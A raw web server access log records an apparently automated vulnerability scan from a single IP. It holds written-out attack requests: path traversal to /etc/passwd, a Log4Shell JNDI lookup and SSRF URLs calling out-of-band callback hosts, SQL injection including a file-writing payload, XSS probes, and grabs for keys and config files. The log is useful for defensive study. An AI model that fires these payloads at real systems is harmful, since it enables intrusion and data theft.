[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /&?=? HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webproc?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/..;/host-manager/html;/ HTTP/1.1" 226
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config_application.txt HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpma/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inizio.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.Z HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.viminfo HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?api=%27%3E%22%3Csvg%2Fonload=confirm%28%27api%27%29%3E&api_key=%27%3E%22%3Csvg%2Fonload=confirm%28%27api_key%27%29%3E&begindate=%27%3E%22%3Csvg%2Fonload=confirm%28%27begindate%27%29%3E&callback=%27%3E%22%3Csvg%2Fonload=confirm%28%27callback%27%29%3E&categoryid=%27%3E%22%3Csvg%2Fonload=confirm%28%27categoryid%27%29%3E&csrf_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27csrf_token%27%29%3E&email=%27%3E%22%3Csvg%2Fonload=confirm%28%27email%27%29%3E&emailto=%27%3E%22%3Csvg%2Fonload=confirm%28%27emailto%27%29%3E&enddate=%27%3E%22%3Csvg%2Fonload=confirm%28%27enddate%27%29%3E&immagine=%27%3E%22%3Csvg%2Fonload=confirm%28%27immagine%27%29%3E&item=%27%3E%22%3Csvg%2Fonload=confirm%28%27item%27%29%3E&jsonp=%27%3E%22%3Csvg%2Fonload=confirm%28%27jsonp%27%29%3E&l=%27%3E%22%3Csvg%2Fonload=confirm%28%27l%27%29%3E&lang=%27%3E%22%3Csvg%2Fonload=confirm%28%27lang%27%29%3E&list_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27list_type%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /VisionHubWebApi/api/Login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/versalogo.png HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/info.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protected/data/production.db HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/services/usermgmt/password/flbyaw HTTP/1.1" 220
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/info.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /key.pem HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/XUI/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/login.action HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configure/app/landing/welcome-srm-va.html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dr/authentication/oauth2/oauth2login?error=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-632%7D$%7B%3A-697%7D.$%7BhostName%7D.uri.d5g6to2hausk1oj0j65g46bdefdp8989h.oast.live%7D HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.new HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.new HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.db HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.new HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.jar HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.new HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://mail/ HTTP/1.1" 226
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vsaas/v2/login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/outside.html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=https://d5g6to2hausk1oj0j65g3yptzprk4pnef.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /websso/SAML2/SSO/vsphere.local?SAMLRequest HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/webAccess/index.htm?content=security HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/extension/smartUpload.jsp?path=information&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webapi/auth HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModule/UIQuestionControls/UIAskQuestion/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.stm HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://d5g6to2hausk1oj0j65gfpzok6uet117c.oast.live/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /VirtualEms/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/officeserverservlet HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vault/auth?with=oidc%2F HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/multimon.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=Install&view=Index HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vr2conf/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/WebLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\ProgramData\\VMware\\VMware+VirtualCenter\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp.json HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd&downloadAll=2 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //by.html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /versa/login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //backup.sh HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?loginUrl=%2Findex HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /defaultroot/upload/fileUpload.controller HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sign-in HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login.action HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sphinxsearch/sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plc/webvisu.htm HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/webclient/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/plugin/CheckServer.jsp?type=mobileSetting HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /E-mobile/App/System/Login/login_quick.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:7'-- HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?phpinfo=-1 HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/servlets/servlet/SessionExample HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/versalogo2.png HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.config HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','999999999')),3,32) HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgZWNobyBtZDUoIndlYXZlci1ncm91cC14bWwtc3FsaSIpO3VubGluayhfX0ZJTEVfXyk7Pz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2NnejR3LnBocCdd HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /suite-api/api/auth/token/acquire HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','999999999')),4,5,6,7 HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?next=/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mongo-express/ HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dump.sql HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?month=%27%3E%22%3Csvg%2Fonload=confirm%28%27month%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27page_id%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27password%27%29%3E&terms=%27%3E%22%3Csvg%2Fonload=confirm%28%27terms%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27token%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27type%27%29%3E&unsubscribe_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27unsubscribe_token%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27year%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.wadl HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/ui/index HTTP/1.1" 196
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webscr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini HTTP/1.1" 196
